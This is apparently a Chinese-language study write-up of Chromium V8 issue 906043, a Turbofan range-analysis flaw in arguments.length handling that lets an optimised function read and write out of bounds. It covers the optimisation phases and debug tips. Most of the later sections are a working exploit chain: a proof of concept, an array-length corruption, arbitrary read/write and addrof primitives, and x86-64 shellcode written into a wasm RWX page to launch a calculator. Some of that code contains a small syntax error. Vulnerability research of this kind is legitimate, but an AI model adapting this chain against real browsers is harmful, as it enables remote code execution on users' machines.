0 环境与背景知识
0.1 环境
下面是chrome的bug网站关于这个issue的内容
https://bugs.chromium.org/p/chromium/issues/detail?id=906043&q=906043&can=2
在下面的commit中,找到一个含有漏洞的版本
之后使用ninja进行编译 version 7.2.0
0.2 背景知识
JavaScirpt中有一个用来查看传递参数个数的方法
arguments.length <====
arguments.length表示的是实际上向函数传入了多少个参数,这个数字可以比形参数量大,也可以比形参数量小(形参数量的值可以通过Function.length获取到).
比如下面的例子中
function imagePreload()
{
var imgPreload = new Image();
for (i = 0; i < arguments.length; i++)
{
imgPreload.src = arguments[i];
}
}
imagePreload(’001.gif’, ’002.gif’, ’003.gif’, ’004.gif’, ’005.gif’)
arguments.length 的值为5
这里还要介绍一个技巧
function test(args)
{
Array.prototype.fill();
let idx = arguments.length;
print(idx);
}
let arr = [1.0,1.1];
arr.length = 0x100;
arr.fill(1.2);
print(...arr)
test(...arr);
这里test函数的参数是arr数组中的每一个元素,我们这样写,实际上传递的参数长度为0x100
1 漏洞分析
1.0 优化时的分析
在type-cache.h中对参数的长度是这样计算的
参数的长度Range(0,kMaxArguments)
对应的找一下kMaxArguments的数值(code.h文件)
综合源码中上面的两处可以得到,优化时 参数的范围(0,1<<16-2)
1.1 运行时分析
这里写了一个测试脚本
function test(args)
{
// Array.prototype.fill();
let idx = arguments.length;
print(idx);
}
let arr = [1.0,1.1];
arr.length = 0x100;
arr.fill(1.2);
// print(...arr);
test(...arr);
传递参数大小为0x100,在函数内部得到参数的长度并输出,结果是下面的256
u18@u18-oVirt-Node:~/v8_build/v8/v8/out.gn/x64.release$ ./d8 ../test.js
256
1.2 总结
同样用一个表格总结一下想法操作(虽然这个表格现在有一部分不对的地方,后面poc中进行了修改)
(这里假设传进去的长度为1<<16)
操作 | 优化时情况 | 运行时情况 |
---|---|---|
let idx = arguments.length | Range(0,1<<16-2) | 1<<16 |
idx >>= 16 | Range(0,0) | 1 |
idx *= 1337 | Range(0,0) | 1337 |
优化时得到的结果是Range(0,0),运行时可以访问更大的范围
造成OOB
2 POC
根据上面的表格与之前的test函数很容易写出poc
poc.js
tujiefunction foo(args)
{
// Array.prototype.fill();
let idx = arguments.length;
idx >>= 16;
idx *= 1337;
print(idx);
let oobArray = [1.0,1.1,1.2,1.3];
// return oobArray[idx];
print(oobArray[idx])
// oobArray[idx] = 1.74512933848984e-310;//i2f(0x202000000000);
// return oobArray;
}
let f_arr = [1.0];
let arr = [1.0,1.1];
arr.length = 1<<16;
arr.fill(1.2);
foo(f_arr);
foo(f_arr);
%OptimizeFunctionOnNextCall(foo);
// print(...arr);
foo(...arr);
首先给一个长度为1的数组作为参数,前两次调用肯定是返回1.0,idx=0
第三次优化调用,idx = 1337 返回越界访问的结果(这里在debug模式下返回的是-1.1885946300594787e+148)
但是release模式下测试POC的话返回的是数组的内容,这里是1.2(这个问题)
运行结果如下
Concurrent recompilation has been disabled for tracing.
0
1
0
1
---------------------------------------------------
Begin compiling method foo using Turbofan
---------------------------------------------------
Finished compiling method foo using Turbofan
1337
-1.1885946300594787e+148
查看一下过程中的优化图解
直接看escape analysis阶段
先看最后的结果
CheckBounds节点变成了无效的节点,但是它的Range范围和笔者预想的不一样(表格中是Range(0,0))
下面就追一下原因
首先优化的时候参数的确实是Range(0,1<<16-2)
但是进行第一次右移运算的时候和笔者想的结果不太一样
查看一下源码(src/compile/operation-typer.cc)
感觉应该没问题呀 ,回去看了下节点才明白
Typer
在SpeculativeNumberShiftRight节点的上面有一个LoadField节点,在这个优化阶段,这个LoadFiled节点的值,编译器是得不到信息的,所以它对NumberShiftRight进行range analysis的时候,会将其范围直接当做int32的最大和最小值。
# define INT32_MIN ((int32_t)(-2147483647-1))
# define INT32_MAX ((int32_t)(2147483647))
所以这一步的运算过程应该是这样的
min lhs is -2147483648
min rhs is 16
max lhs is 2147483647
max rhs is 16
...
[Type: Range(-32768, 32767)]
此外这里还要mark一下在Type阶段不分析的地方
EffectPhi:different branches
JSLoad/JSStore
BeginRegion/FinishRegion:local && heap
typer lowering phase
在这个阶段会将JSCreateArray reduce变成ArgumentsLength并且计算范围
相关函数
Reduction JSCreateLowering::ReduceJSCreateArguments(Node* node)函数
Type Typer::Visitor::TypeArgumentsLength(Node* node)函数
Type const kArgumentsLengthType = Type::Range(0.0, Code::kMaxArguments, zone());
load elimination phase
这个阶段去除多余的LoadFiled,替换成实际的值
simplified lowering phase
这里又一次Typer计算,会修复之前的范围,并且去除节点CheckBound
相关函数
RunTypePropagationPhase()函数
VisitCheckBounds()函数
运行结果
Range(0, 65534)
Range(16, 16)
min lhs is 0
min rhs is 16
max lhs is 65534
max rhs is 16
->
NumberShiftRight Range(0,0)
这里的优化过程在图上没有反映出来,可以在源码中下断点查看优化的过程
3 exp
这里的exp最终的效果是弹出计算器,没有去做更多的,因为主要是学习优化的流程与浮现这个洞
这部分的原理没有详细介绍,可以查阅之前的文章理解一下object ArrayBuffer wasm的知识
3.1 修改数组大小
debug得到我们应该修改idx=7为更大的length
对应的修改数组的脚本
/*************************************************************
* File Name: m_exp.js
*
* Created on: xx.xx.xx
* Author: init-0
*
* Last Modified:
* Description: exp for 906043
* version version 7.2.0
************************************************************/
function hex(i)
{
return i.toString(16).padStart(16, "0");
}
function gc()
{
for(let i=0;i<10;i++)
{
new Array(0x1000000);
}
}
const MAX_ITERATIONS = 10000;
const buf = new ArrayBuffer(8);
const f64 = new Float64Array(buf);
const u32 = new Uint32Array(buf);
// Floating point to 64-bit unsigned integer
function f2i(val)
{
f64[0] = val;
let tmp = Array.from(u32);
return tmp[1] * 0x100000000 + tmp[0];
}
// 64-bit unsigned integer to Floating point
function i2f(val)
{
let tmp = [];
tmp[0] = parseInt(val % 0x100000000);
tmp[1] = parseInt((val - tmp[0]) / 0x100000000);
u32.set(tmp);
return f64[0];
}
let obj = [];
let abf = [];
function foo(args)
{
// Array.prototype.fill();
let idx = arguments.length;
idx >>= 16;
idx *= 7;
// print(idx);
let oobArray = [1.0,1.1,1.2,1.3];
// return oobArray[idx];
// print(oobArray[idx])
oobArray[idx] = 1.74512933848984e-310;//i2f(0x202000000000);
return oobArray;
}
let f_arr = [1.0];
let arr = [1.0,1.1];
arr.length = 1<<16;
arr.fill(1.2);
for(var i=0;i<MAX_ITERATIONS;i++)
{
foo(f_arr);
}
let oob=[];
let obj_a=[];
let abf_a=[];
oob = foo(...arr);
obj.push({mark:0x11111111,n:0x41414141});
abf.push(new ArrayBuffer(0x200));
%DebugPrint(oob);
%DebugPrint(obj_a);
%DebugPrint(abf_a);
console.log('[*] oob_lenght======>'+hex(oob.length));
%SystemBreak();
修改之后的结果
3.2 任意地址写 && 泄露地址
首先利用上面数组的oob 找到相关的位置
代码如下
let off_buf;
let off_obj;
for(var i=0;i<maxSize;i++)
{
let tmp = oob[i];
if(f2i(tmp) == 0x11111111)
{
off_obj = i+1;
break;
}
}
for(var i=0;i<maxSize;i++)
{
let tmp = oob[i];
if(f2i(tmp) == 0x200)
{
off_buf = i+1;
break;
}
}
console.log('[*] off_obj======>'+off_obj);
console.log('[*] off_buf======>'+off_buf);
// %SystemBreak();
运行结果
接着尝试写函数实现任意地址写 原语addrof
let dataView = new DataView(abf[0]);
function abread(addr)
{
oob[off_buf] = i2f(addr);
return f2i(dataView.getFloat64(0,true));
}
function abwrite(addr,payload)
{
oob[off_buf] = i2f(addr);
for(var i=0;i<payload.length;i++)
{
dataView.setUint8(i,payload[i]);
}
}
function addrof(addr):
{
obj[0].n = addr;
return f2i(oob[off_obj]);
}
3.3 get calc
具体的代码如下
var wasmCode = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]);
var wasmModule = new WebAssembly.Module(wasmCode);
var wasmInstance = new WebAssembly.Instance(wasmModule, {});
var f = wasmInstance.exports.main;
let f_addr = addrof(f)-1;
console.log("f_addr ==> 0x"+f_addr.toString(16));
let share_info_addr = abread(f_addr + 0x18) - 1;
console.log("share_info ==> 0x"+share_info_addr.toString(16));
// %SystemBreak();
// readline();
let wasm = abread(share_info_addr + 8) - 1;
console.log("wasm ==> 0x"+wasm.toString(16));
let instance=abread(wasm+0x10) -1;
console.log("instance ==> 0x"+instance.toString(16));
// readline()
let rwx_addr=abread(instance+0xe8)
console.log("rwx_addr ==> 0x"+rwx_addr.toString(16));
var shellcode = [72, 184, 1, 1, 1, 1, 1, 1, 1, 1, 80, 72, 184, 46, 121, 98,
96, 109, 98, 1, 1, 72, 49, 4, 36, 72, 184, 47, 117, 115, 114, 47, 98,
105, 110, 80, 72, 137, 231, 104, 59, 49, 1, 1, 129, 52, 36, 1, 1, 1, 1,
72, 184, 68, 73, 83, 80, 76, 65, 89, 61, 80, 49, 210, 82, 106, 8, 90,
72, 1, 226, 82, 72, 137, 226, 72, 184, 1, 1, 1, 1, 1, 1, 1, 1, 80, 72,
184, 121, 98, 96, 109, 98, 1, 1, 1, 72, 49, 4, 36, 49, 246, 86, 106, 8,
94, 72, 1, 230, 86, 72, 137, 230, 106, 59, 88, 15, 5];
abwrite(rwx_addr, shellcode);
f();
最终结果
4 参考
写POC之前没有找到参考文章,后来遇到NumberShiftRight问题之后,发现了sakura师傅的文章
https://xz.aliyun.com/t/5712#toc-2 ☜ ? 主要参考了优化分析部分
5 技巧
5.1
帮助分析优化的流程
—trace-turbo-reduction
5.2
关于Debug Check
在Debug模式下,即便我们绕过了checkBound节点,运行的时候仍然会其他的check,不利于之后的调试(假设后面出了问题不容易发现)
于是根据Debug模式下的报错信息,记录一下修改源码中其他check的地方
首先运行一下脚本,查看check的位置
下面两处是一个文件的两个地方
找到源码位置注释掉重新编译 记得重新编译 (另外可能不同版本v8注释的地方不同)
src/code-stub-assembler.cc
// CSA_ASSERT(this, IsOffsetInBounds(
// offset, LoadAndUntagFixedArrayBaseLength(object),
// FixedDoubleArray::kHeaderSize, HOLEY_DOUBLE_ELEMENTS));
src/objects/fixed-array-inl.h
// DCHECK(index >= 0 && index < this->length());
src/code-stub-assembler.cc
// IntPtrAdd does constant-folding automatically.
return;
// TNode<IntPtrT> effective_index =
// IntPtrAdd(UncheckedCast<IntPtrT>(index),
// IntPtrConstant(additional_offset / kPointerSize));
// CSA_CHECK(this, UintPtrLessThan(effective_index,
// LoadAndUntagFixedArrayBaseLength(array)));
上面就是改动的所有部分
一波修改之后 debug模式下成功弹出计算器
5.3
MARK!!!
调试源码中的优化部分
正常跑起代码之后
在想要停止的地方下端点
之后停在了指定位置并且可以在指定的位置查看信息(print)
这个很重要,会调试源码之后才能更好的了解优化的流程